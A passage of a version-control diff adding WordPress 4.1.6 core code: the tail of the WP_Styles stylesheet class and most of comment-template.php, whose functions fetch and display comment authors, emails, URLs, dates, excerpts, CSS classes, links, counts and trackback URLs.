+	 * @param mixed $group
+	 * @return bool
+	 */
+	public function all_deps( $handles, $recursion = false, $group = false ) {
+		$r = parent::all_deps( $handles, $recursion );
+		if ( !$recursion ) {
+			/**
+			 * Filter the array of enqueued styles before processing for output.
+			 *
+			 * @since 2.6.0
+			 *
+			 * @param array $to_do The list of enqueued styles about to be processed.
+			 */
+			$this->to_do = apply_filters( 'print_styles_array', $this->to_do );
+		}
+		return $r;
+	}
+
+	/**
+	 * @param string $src
+	 * @param string $ver
+	 * @param string $handle
+	 * @return string
+	 */
+	public function _css_href( $src, $ver, $handle ) {
+		if ( !is_bool($src) && !preg_match('|^(https?:)?//|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) {
+			$src = $this->base_url . $src;
+		}
+
+		if ( !empty($ver) )
+			$src = add_query_arg('ver', $ver, $src);
+
+		/**
+		 * Filter an enqueued style's fully-qualified URL.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string $src    The source URL of the enqueued style.
+		 * @param string $handle The style's registered handle.
+		 */
+		$src = apply_filters( 'style_loader_src', $src, $handle );
+		return esc_url( $src );
+	}
+
+	/**
+	 * @param string $src
+	 * @return bool
+	 */
+	public function in_default_dir($src) {
+		if ( ! $this->default_dirs )
+			return true;
+
+		foreach ( (array) $this->default_dirs as $test ) {
+			if ( 0 === strpos($src, $test) )
+				return true;
+		}
+		return false;
+	}
+
+	public function do_footer_items() { // HTML 5 allows styles in the body, grab late enqueued items and output them in the footer.
+		$this->do_items(false, 1);
+		return $this->done;
+	}
+
+	public function reset() {
+		$this->do_concat = false;
+		$this->concat = '';
+		$this->concat_version = '';
+		$this->print_html = '';
+	}
+}
Index: /tags/4.1.6/src/wp-includes/comment-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/comment-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/comment-template.php	(revision 33402)
@@ -0,0 +1,2364 @@
+<?php
+/**
+ * Comment template functions
+ *
+ * These functions are meant to live inside of the WordPress loop.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve the author of the current comment.
+ *
+ * If the comment has an empty comment_author field, then 'Anonymous' person is
+ * assumed.
+ *
+ * @since 1.5.0
+ *
+ * @param int $comment_ID Optional. The ID of the comment for which to retrieve the author. Default current comment.
+ * @return string The comment author
+ */
+function get_comment_author( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+
+	if ( empty( $comment->comment_author ) ) {
+		if ( $comment->user_id && $user = get_userdata( $comment->user_id ) )
+			$author = $user->display_name;
+		else
+			$author = __('Anonymous');
+	} else {
+		$author = $comment->comment_author;
+	}
+
+	/**
+	 * Filter the returned comment author name.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string $author     The comment author's username.
+	 * @param int    $comment_ID The comment ID.
+	 * @param object $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_author', $author, $comment_ID, $comment );
+}
+
+/**
+ * Displays the author of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param int $comment_ID Optional. The ID of the comment for which to print the author. Default current comment.
+ */
+function comment_author( $comment_ID = 0 ) {
+	$author = get_comment_author( $comment_ID );
+
+	/**
+	 * Filter the comment author's name for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $author     The comment author's username.
+	 * @param int    $comment_ID The comment ID.
+	 */
+	$author = apply_filters( 'comment_author', $author, $comment_ID );
+	echo $author;
+}
+
+/**
+ * Retrieve the email of the author of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @param int $comment_ID Optional. The ID of the comment for which to get the author's email. Default current comment.
+ * @return string The current comment author's email
+ */
+function get_comment_author_email( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+
+	/**
+	 * Filter the comment author's returned email address.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string $comment_author_email The comment author's email address.
+	 * @param int    $comment_ID           The comment ID.
+	 * @param object $comment              The comment object.
+	 */
+	return apply_filters( 'get_comment_author_email', $comment->comment_author_email, $comment_ID, $comment );
+}
+
+/**
+ * Display the email of the author of the current global $comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the blog. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 0.71
+ *
+ * @param int $comment_ID Optional. The ID of the comment for which to print the author's email. Default current comment.
+ */
+function comment_author_email( $comment_ID = 0 ) {
+	$author_email = get_comment_author_email( $comment_ID );
+
+	/**
+	 * Filter the comment author's email for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $author_email The comment author's email address.
+	 * @param int    $comment_ID   The comment ID.
+	 */
+	echo apply_filters( 'author_email', $author_email, $comment_ID );
+}
+
+/**
+ * Display the html email link to the author of the current comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the blog. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 0.71
+ *
+ * @param string $linktext Optional. Text to display instead of the comment author's email address.
+ *                         Default empty.
+ * @param string $before   Optional. Text or HTML to display before the email link. Default empty.
+ * @param string $after    Optional. Text or HTML to display after the email link. Default empty.
+ */
+function comment_author_email_link( $linktext = '', $before = '', $after = '' ) {
+	if ( $link = get_comment_author_email_link( $linktext, $before, $after ) )
+		echo $link;
+}
+
+/**
+ * Return the html email link to the author of the current comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the blog. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @global object $comment The current Comment row object.
+ *
+ * @since 2.7.0
+ *
+ * @param string $linktext Optional. Text to display instead of the comment author's email address.
+ *                         Default empty.
+ * @param string $before   Optional. Text or HTML to display before the email link. Default empty.
+ * @param string $after    Optional. Text or HTML to display after the email link. Default empty.
+ */
+function get_comment_author_email_link( $linktext = '', $before = '', $after = '' ) {
+	global $comment;
+
+	/**
+	 * Filter the comment author's email for display.
+	 *
+	 * Care should be taken to protect the email address and assure that email
+	 * harvesters do not capture your commenter's email address.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment` parameter was added.
+	 *
+	 * @param string $comment_author_email The comment author's email address.
+	 * @param object $comment              The comment object.
+	 */
+	$email = apply_filters( 'comment_email', $comment->comment_author_email, $comment );
+	if ((!empty($email)) && ($email != '@')) {
+	$display = ($linktext != '') ? $linktext : $email;
+		$return  = $before;
+		$return .= "<a href='mailto:$email'>$display</a>";
+	 	$return .= $after;
+		return $return;
+	} else {
+		return '';
+	}
+}
+
+/**
+ * Retrieve the HTML link to the URL of the author of the current comment.
+ *
+ * Both get_comment_author_url() and get_comment_author() rely on get_comment(),
+ * which falls back to the global comment variable if the $comment_ID argument is empty.
+ *
+ * @since 1.5.0
+ *
+ * @param int $comment_ID ID of the comment for which to get the author's link.
+ *                        Default current comment.
+ * @return string The comment author name or HTML link for author's URL.
+ */
+function get_comment_author_link( $comment_ID = 0 ) {
+	$url    = get_comment_author_url( $comment_ID );
+	$author = get_comment_author( $comment_ID );
+
+	if ( empty( $url ) || 'http://' == $url )
+		$return = $author;
+	else
+		$return = "<a href='$url' rel='external nofollow' class='url'>$author</a>";
+
+	/**
+	 * Filter the comment author's link for display.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$author` and `$comment_ID` parameters were added.
+	 *
+	 * @param string $return     The HTML-formatted comment author link.
+	 *                           Empty for an invalid URL.
+	 * @param string $author     The comment author's username.
+	 * @param int    $comment_ID The comment ID.
+	 */
+	return apply_filters( 'get_comment_author_link', $return, $author, $comment_ID );
+}
+
+/**
+ * Display the html link to the url of the author of the current comment.
+ *
+ * @since 0.71
+ *
+ * @see get_comment_author_link() Echoes result
+ *
+ * @param int $comment_ID ID of the comment for which to print the author's
+ *                        link. Default current comment.
+ */
+function comment_author_link( $comment_ID = 0 ) {
+	echo get_comment_author_link( $comment_ID );
+}
+
+/**
+ * Retrieve the IP address of the author of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @param int $comment_ID ID of the comment for which to get the author's IP
+ *                        address. Default current comment.
+ * @return string Comment author's IP address.
+ */
+function get_comment_author_IP( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+
+	/**
+	 * Filter the comment author's returned IP address.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string $comment_author_IP The comment author's IP address.
+	 * @param int    $comment_ID        The comment ID.
+	 * @param object $comment           The comment object.
+	 */
+	return apply_filters( 'get_comment_author_IP', $comment->comment_author_IP, $comment_ID, $comment );
+}
+
+/**
+ * Display the IP address of the author of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param int $comment_ID ID of the comment for which to print the author's IP
+ *                        address. Default current comment.
+ */
+function comment_author_IP( $comment_ID = 0 ) {
+	echo get_comment_author_IP( $comment_ID );
+}
+
+/**
+ * Retrieve the url of the author of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @param int $comment_ID ID of the comment for which to get the author's URL.
+ *                        Default current comment.
+ * @return string
+ */
+function get_comment_author_url( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	$url = ('http://' == $comment->comment_author_url) ? '' : $comment->comment_author_url;
+	$url = esc_url( $url, array('http', 'https') );
+
+	/**
+	 * Filter the comment author's URL.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string $url        The comment author's URL.
+	 * @param int    $comment_ID The comment ID.
+	 * @param object $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_author_url', $url, $comment_ID, $comment );
+}
+
+/**
+ * Display the url of the author of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param int $comment_ID ID of the comment for which to print the author's URL.
+ *                        Default current comment.
+ */
+function comment_author_url( $comment_ID = 0 ) {
+	$author_url = get_comment_author_url( $comment_ID );
+
+	/**
+	 * Filter the comment author's URL for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $author_url The comment author's URL.
+	 * @param int    $comment_ID The comment ID.
+	 */
+	echo apply_filters( 'comment_url', $author_url, $comment_ID );
+}
+
+/**
+ * Retrieves the HTML link of the url of the author of the current comment.
+ *
+ * $linktext parameter is only used if the URL does not exist for the comment
+ * author. If the URL does exist then the URL will be used and the $linktext
+ * will be ignored.
+ *
+ * Encapsulate the HTML link between the $before and $after. So it will appear
+ * in the order of $before, link, and finally $after.
+ *
+ * @since 1.5.0
+ *
+ * @param string $linktext Optional. The text to display instead of the comment
+ *                         author's email address. Default empty.
+ * @param string $before   Optional. The text or HTML to display before the email link.
+ *                         Default empty.
+ * @param string $after    Optional. The text or HTML to display after the email link.
+ *                         Default empty.
+ * @return string The HTML link between the $before and $after parameters.
+ */
+function get_comment_author_url_link( $linktext = '', $before = '', $after = '' ) {
+	$url = get_comment_author_url();
+	$display = ($linktext != '') ? $linktext : $url;
+	$display = str_replace( 'http://www.', '', $display );
+	$display = str_replace( 'http://', '', $display );
+
+	if ( '/' == substr($display, -1) ) {
+		$display = substr($display, 0, -1);
+	}
+
+	$return = "$before<a href='$url' rel='external'>$display</a>$after";
+
+	/**
+	 * Filter the comment author's returned URL link.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $return The HTML-formatted comment author URL link.
+	 */
+	return apply_filters( 'get_comment_author_url_link', $return );
+}
+
+/**
+ * Displays the HTML link of the url of the author of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $linktext Optional. Text to display instead of the comment author's
+ *                         email address. Default empty.
+ * @param string $before   Optional. Text or HTML to display before the email link.
+ *                         Default empty.
+ * @param string $after    Optional. Text or HTML to display after the email link.
+ *                         Default empty.
+ */
+function comment_author_url_link( $linktext = '', $before = '', $after = '' ) {
+	echo get_comment_author_url_link( $linktext, $before, $after );
+}
+
+/**
+ * Generates semantic classes for each comment element.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class      Optional. One or more classes to add to the class list.
+ *                                 Default empty.
+ * @param int          $comment_id Comment ID. Default current comment.
+ * @param int|WP_Post  $post_id    Post ID or WP_Post object. Default current post.
+ * @param bool         $echo       Optional. Whether to cho or return the output.
+ *                                 Default true.
+ */
+function comment_class( $class = '', $comment_id = null, $post_id = null, $echo = true ) {
+	// Separates classes with a single space, collates classes for comment DIV
+	$class = 'class="' . join( ' ', get_comment_class( $class, $comment_id, $post_id ) ) . '"';
+	if ( $echo)
+		echo $class;
+	else
+		return $class;
+}
+
+/**
+ * Returns the classes for the comment div as an array.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class      Optional. One or more classes to add to the class list. Default empty.
+ * @param int          $comment_id Comment ID. Default current comment.
+ * @param int|WP_Post  $post_id    Post ID or WP_Post object. Default current post.
+ * @return array An array of classes.
+ */
+function get_comment_class( $class = '', $comment_id = null, $post_id = null ) {
+	global $comment_alt, $comment_depth, $comment_thread_alt;
+
+	$comment = get_comment($comment_id);
+
+	$classes = array();
+
+	// Get the comment type (comment, trackback),
+	$classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type;
+
+	// If the comment author has an id (registered), then print the log in name
+	if ( $comment->user_id > 0 && $user = get_userdata($comment->user_id) ) {
+		// For all registered users, 'byuser'
+		$classes[] = 'byuser';
+		$classes[] = 'comment-author-' . sanitize_html_class($user->user_nicename, $comment->user_id);
+		// For comment authors who are the author of the post
+		if ( $post = get_post($post_id) ) {
+			if ( $comment->user_id === $post->post_author )
+				$classes[] = 'bypostauthor';
+		}
+	}
+
+	if ( empty($comment_alt) )
+		$comment_alt = 0;
+	if ( empty($comment_depth) )
+		$comment_depth = 1;
+	if ( empty($comment_thread_alt) )
+		$comment_thread_alt = 0;
+
+	if ( $comment_alt % 2 ) {
+		$classes[] = 'odd';
+		$classes[] = 'alt';
+	} else {
+		$classes[] = 'even';
+	}
+
+	$comment_alt++;
+
+	// Alt for top-level comments
+	if ( 1 == $comment_depth ) {
+		if ( $comment_thread_alt % 2 ) {
+			$classes[] = 'thread-odd';
+			$classes[] = 'thread-alt';
+		} else {
+			$classes[] = 'thread-even';
+		}
+		$comment_thread_alt++;
+	}
+
+	$classes[] = "depth-$comment_depth";
+
+	if ( !empty($class) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split('#\s+#', $class);
+		$classes = array_merge($classes, $class);
+	}
+
+	$classes = array_map('esc_attr', $classes);
+
+	/**
+	 * Filter the returned CSS classes for the current comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array       $classes    An array of comment classes.
+	 * @param string      $class      A comma-separated list of additional classes added to the list.
+	 * @param int         $comment_id The comment id.
+	 * @param object   	  $comment    The comment
+	 * @param int|WP_Post $post_id    The post ID or WP_Post object.
+	 */
+	return apply_filters( 'comment_class', $classes, $class, $comment_id, $comment, $post_id );
+}
+
+/**
+ * Retrieve the comment date of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @param string $d          Optional. The format of the date. Default user's setting.
+ * @param int    $comment_ID ID of the comment for which to get the date. Default current comment.
+ * @return string The comment's date.
+ */
+function get_comment_date( $d = '', $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	if ( '' == $d )
+		$date = mysql2date(get_option('date_format'), $comment->comment_date);
+	else
+		$date = mysql2date($d, $comment->comment_date);
+	/**
+	 * Filter the returned comment date.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string|int $date    Formatted date string or Unix timestamp.
+	 * @param string     $d       The format of the date.
+	 * @param object     $comment The comment object.
+	 */
+	return apply_filters( 'get_comment_date', $date, $d, $comment );
+}
+
+/**
+ * Display the comment date of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $d          Optional. The format of the date. Default user's settings.
+ * @param int    $comment_ID ID of the comment for which to print the date. Default current comment.
+ */
+function comment_date( $d = '', $comment_ID = 0 ) {
+	echo get_comment_date( $d, $comment_ID );
+}
+
+/**
+ * Retrieve the excerpt of the current comment.
+ *
+ * Will cut each word and only output the first 20 words with '&hellip;' at the end.
+ * If the word count is less than 20, then no truncating is done and no '&hellip;'
+ * will appear.
+ *
+ * @since 1.5.0
+ *
+ * @param int $comment_ID ID of the comment for which to get the excerpt.
+ *                        Default current comment.
+ * @return string The maybe truncated comment with 20 words or less.
+ */
+function get_comment_excerpt( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	$comment_text = strip_tags($comment->comment_content);
+	$blah = explode(' ', $comment_text);
+
+	if (count($blah) > 20) {
+		$k = 20;
+		$use_dotdotdot = 1;
+	} else {
+		$k = count($blah);
+		$use_dotdotdot = 0;
+	}
+
+	$excerpt = '';
+	for ($i=0; $i<$k; $i++) {
+		$excerpt .= $blah[$i] . ' ';
+	}
+	$excerpt .= ($use_dotdotdot) ? '&hellip;' : '';
+
+	/**
+	 * Filter the retrieved comment excerpt.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string $excerpt    The comment excerpt text.
+	 * @param int    $comment_ID The comment ID.
+	 * @param object $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_excerpt', $excerpt, $comment_ID, $comment );
+}
+
+/**
+ * Display the excerpt of the current comment.
+ *
+ * @since 1.2.0
+ *
+ * @param int $comment_ID ID of the comment for which to print the excerpt.
+ *                        Default current comment.
+ */
+function comment_excerpt( $comment_ID = 0 ) {
+	$comment_excerpt = get_comment_excerpt($comment_ID);
+
+	/**
+	 * Filter the comment excerpt for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $comment_excerpt The comment excerpt text.
+	 * @param int    $comment_ID      The comment ID.
+	 */
+	echo apply_filters( 'comment_excerpt', $comment_excerpt, $comment_ID );
+}
+
+/**
+ * Retrieve the comment id of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @return int The comment ID.
+ */
+function get_comment_ID() {
+	global $comment;
+
+	/**
+	 * Filter the returned comment ID.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param int    $comment_ID The current comment ID.
+	 * @param object $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_ID', $comment->comment_ID, $comment );
+}
+
+/**
+ * Display the comment id of the current comment.
+ *
+ * @since 0.71
+ */
+function comment_ID() {
+	echo get_comment_ID();
+}
+
+/**
+ * Retrieve the link to a given comment.
+ *
+ * @since 1.5.0
+ *
+ * @see get_page_of_comment()
+ *
+ * @param mixed $comment Comment to retrieve. Default current comment.
+ * @param array $args    Optional. An array of arguments to override the defaults.
+ * @return string The permalink to the given comment.
+ */
+function get_comment_link( $comment = null, $args = array() ) {
+	global $wp_rewrite, $in_comment_loop;
+
+	$comment = get_comment($comment);
+
+	// Backwards compat
+	if ( ! is_array( $args ) ) {
+		$args = array( 'page' => $args );
+	}
+
+	$defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( '' === $args['per_page'] && get_option('page_comments') )
+		$args['per_page'] = get_option('comments_per_page');
+
+	if ( empty($args['per_page']) ) {
+		$args['per_page'] = 0;
+		$args['page'] = 0;
+	}
+
+	if ( $args['per_page'] ) {
+		if ( '' == $args['page'] )
+			$args['page'] = ( !empty($in_comment_loop) ) ? get_query_var('cpage') : get_page_of_comment( $comment->comment_ID, $args );
+
+		if ( $wp_rewrite->using_permalinks() )
+			$link = user_trailingslashit( trailingslashit( get_permalink( $comment->comment_post_ID ) ) . 'comment-page-' . $args['page'], 'comment' );
+		else
+			$link = add_query_arg( 'cpage', $args['page'], get_permalink( $comment->comment_post_ID ) );
+	} else {
+		$link = get_permalink( $comment->comment_post_ID );
+	}
+
+	$link = $link . '#comment-' . $comment->comment_ID;
+	/**
+	 * Filter the returned single comment permalink.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @see get_page_of_comment()
+	 *
+	 * @param string $link    The comment permalink with '#comment-$id' appended.
+	 * @param object $comment The current comment object.
+	 * @param array  $args    An array of arguments to override the defaults.
+	 */
+	return apply_filters( 'get_comment_link', $link, $comment, $args );
+}
+
+/**
+ * Retrieve the link to the current post comments.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string The link to the comments.
+ */
+function get_comments_link( $post_id = 0 ) {
+	$comments_link = get_permalink( $post_id ) . '#comments';
+	/**
+	 * Filter the returned post comments permalink.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string      $comments_link Post comments permalink with '#comments' appended.
+	 * @param int|WP_Post $post_id       Post ID or WP_Post object.
+	 */
+	return apply_filters( 'get_comments_link', $comments_link, $post_id );
+}
+
+/**
+ * Display the link to the current post comments.
+ *
+ * @since 0.71
+ *
+ * @param string $deprecated   Not Used.
+ * @param string $deprecated_2 Not Used.
+ */
+function comments_link( $deprecated = '', $deprecated_2 = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '0.72' );
+	if ( !empty( $deprecated_2 ) )
+		_deprecated_argument( __FUNCTION__, '1.3' );
+	echo esc_url( get_comments_link() );
+}
+
+/**
+ * Retrieve the amount of comments a post has.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @return int The number of comments a post has.
+ */
+function get_comments_number( $post_id = 0 ) {
+	$post = get_post( $post_id );
+
+	if ( ! $post ) {
+		$count = 0;
+	} else {
+		$count = $post->comment_count;
+		$post_id = $post->ID;
+	}
+
+	/**
+	 * Filter the returned comment count for a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int $count   Number of comments a post has.
+	 * @param int $post_id Post ID.
+	 */
+	return apply_filters( 'get_comments_number', $count, $post_id );
+}
+
+/**
+ * Display the language string for the number of comments the current post has.
+ *
+ * @since 0.71
+ *
+ * @param string $zero       Optional. Text for no comments. Default false.
+ * @param string $one        Optional. Text for one comment. Default false.
+ * @param string $more       Optional. Text for more than one comment. Default false.
+ * @param string $deprecated Not used.
+ */
+function comments_number( $zero = false, $one = false, $more = false, $deprecated = '' ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '1.3' );
+	}
+	echo get_comments_number_text( $zero, $one, $more );
+}
+
+/**
+ * Display the language string for the number of comments the current post has.
+ *
+ * @since 4.0.0
+ *
+ * @param string $zero Optional. Text for no comments. Default false.
+ * @param string $one  Optional. Text for one comment. Default false.
+ * @param string $more Optional. Text for more than one comment. Default false.
+ */
+function get_comments_number_text( $zero = false, $one = false, $more = false ) {
+	$number = get_comments_number();
+
+	if ( $number > 1 ) {
+		$output = str_replace( '%', number_format_i18n( $number ), ( false === $more ) ? __( '% Comments' ) : $more );
+	} elseif ( $number == 0 ) {
+		$output = ( false === $zero ) ? __( 'No Comments' ) : $zero;
+	} else { // must be one
+		$output = ( false === $one ) ? __( '1 Comment' ) : $one;
+	}
+	/**
+	 * Filter the comments count for display.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see _n()
+	 *
+	 * @param string $output A translatable string formatted based on whether the count
+	 *                       is equal to 0, 1, or 1+.
+	 * @param int    $number The number of post comments.
+	 */
+	return apply_filters( 'comments_number', $output, $number );
+}
+
+/**
+ * Retrieve the text of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @see Walker_Comment::comment()
+ *
+ * @param int   $comment_ID ID of the comment for which to get the text. Default current comment.
+ * @param array $args       Optional. An array of arguments. Default empty.
+ * @return string The comment content.
+ */
+function get_comment_text( $comment_ID = 0, $args = array() ) {
+	$comment = get_comment( $comment_ID );
+
+	/**
+	 * Filter the text of a comment.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see Walker_Comment::comment()
+	 *
+	 * @param string $comment_content Text of the comment.
+	 * @param object $comment         The comment object.
+	 * @param array  $args            An array of arguments.
+	 */
+	return apply_filters( 'get_comment_text', $comment->comment_content, $comment, $args );
+}
+
+/**
+ * Display the text of the current comment.
+ *
+ * @since 0.71
+ *
+ * @see Walker_Comment::comment()
+ *
+ * @param int   $comment_ID ID of the comment for which to print the text. Default 0.
+ * @param array $args       Optional. An array of arguments. Default empty array. Default empty.
+ */
+function comment_text( $comment_ID = 0, $args = array() ) {
+	$comment = get_comment( $comment_ID );
+
+	$comment_text = get_comment_text( $comment_ID , $args );
+	/**
+	 * Filter the text of a comment to be displayed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @see Walker_Comment::comment()
+	 *
+	 * @param string $comment_text Text of the current comment.
+	 * @param object $comment      The comment object.
+	 * @param array  $args         An array of arguments.
+	 */
+	echo apply_filters( 'comment_text', $comment_text, $comment, $args );
+}
+
+/**
+ * Retrieve the comment time of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @param string $d         Optional. The format of the time. Default user's settings.
+ * @param bool   $gmt       Optional. Whether to use the GMT date. Default false.
+ * @param bool   $translate Optional. Whether to translate the time (for use in feeds).
+ *                          Default true.
+ * @return string The formatted time.
+ */
+function get_comment_time( $d = '', $gmt = false, $translate = true ) {
+	global $comment;
+	$comment_date = $gmt ? $comment->comment_date_gmt : $comment->comment_date;
+	if ( '' == $d )
+		$date = mysql2date(get_option('time_format'), $comment_date, $translate);
+	else
+		$date = mysql2date($d, $comment_date, $translate);
+
+	/**
+	 * Filter the returned comment time.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string|int $date      The comment time, formatted as a date string or Unix timestamp.
+	 * @param string     $d         Date format.
+	 * @param bool       $gmt       Whether the GMT date is in use.
+	 * @param bool       $translate Whether the time is translated.
+	 * @param object     $comment   The comment object.
+	 */
+	return apply_filters( 'get_comment_time', $date, $d, $gmt, $translate, $comment );
+}
+
+/**
+ * Display the comment time of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $d Optional. The format of the time. Default user's settings.
+ */
+function comment_time( $d = '' ) {
+	echo get_comment_time($d);
+}
+
+/**
+ * Retrieve the comment type of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @param int $comment_ID ID of the comment for which to get the type. Default current comment.
+ * @return string The comment type.
+ */
+function get_comment_type( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	if ( '' == $comment->comment_type )
+		$comment->comment_type = 'comment';
+
+	/**
+	 * Filter the returned comment type.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string $comment_type The type of comment, such as 'comment', 'pingback', or 'trackback'.
+	 * @param int 	 $comment_ID   The comment ID.
+	 * @param object $comment      The comment object.
+	 */
+	return apply_filters( 'get_comment_type', $comment->comment_type, $comment_ID, $comment );
+}
+
+/**
+ * Display the comment type of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $commenttxt   Optional. String to display for comment type. Default false.
+ * @param string $trackbacktxt Optional. String to display for trackback type. Default false.
+ * @param string $pingbacktxt  Optional. String to display for pingback type. Default false.
+ */
+function comment_type( $commenttxt = false, $trackbacktxt = false, $pingbacktxt = false ) {
+	if ( false === $commenttxt ) $commenttxt = _x( 'Comment', 'noun' );
+	if ( false === $trackbacktxt ) $trackbacktxt = __( 'Trackback' );
+	if ( false === $pingbacktxt ) $pingbacktxt = __( 'Pingback' );
+	$type = get_comment_type();
+	switch( $type ) {
+		case 'trackback' :
+			echo $trackbacktxt;
+			break;
+		case 'pingback' :
+			echo $pingbacktxt;
+			break;
+		default :
+			echo $commenttxt;
+	}
+}
+
+/**
+ * Retrieve The current post's trackback URL.
+ *
+ * There is a check to see if permalink's have been enabled and if so, will
+ * retrieve the pretty path. If permalinks weren't enabled, the ID of the
+ * current post is used and appended to the correct page to go to.
+ *
+ * @since 1.5.0
+ *
+ * @return string The trackback URL after being filtered.
+ */
+function get_trackback_url() {
+	if ( '' != get_option('permalink_structure') )
+		$tb_url = trailingslashit(get_permalink()) . user_trailingslashit('trackback', 'single_trackback');
+	else
+		$tb_url = get_option('siteurl') . '/wp-trackback.php?p=' . get_the_ID();
+
+	/**
+	 * Filter the returned trackback URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $tb_url The trackback URL.
+	 */
+	return apply_filters( 'trackback_url', $tb_url );
+}
+
+/**
+ * Display the current post's trackback URL.
+ *
+ * @since 0.71
+ *
+ * @param bool $deprecated_echo Not used.
+ * @return void|string Should only be used to echo the trackback URL, use get_trackback_url()
+ *                     for the result instead.
+ */
+function trackback_url( $deprecated_echo = true ) {
+	if ( $deprecated_echo !== true )
+		_deprecated_argument( __FUNCTION__, '2.5', __('Use <code>get_trackback_url()</code> instead if you do not want the value echoed.') );
+	if ( $deprecated_echo )
+		echo get_trackback_url();
+	else
+		return get_trackback_url();
+}
+
+/**
+ * Generate and display the RDF for the trackback information of current post.
+ *
+ * Deprecated in 3.0.0, and restored in 3.0.1.
+ *
+ * @since 0.71
+ *
+ * @param int $deprecated Not used (Was $timezone = 0).
+ */
+function trackback_rdf( $deprecated = '' ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '2.5' );
+	}
+
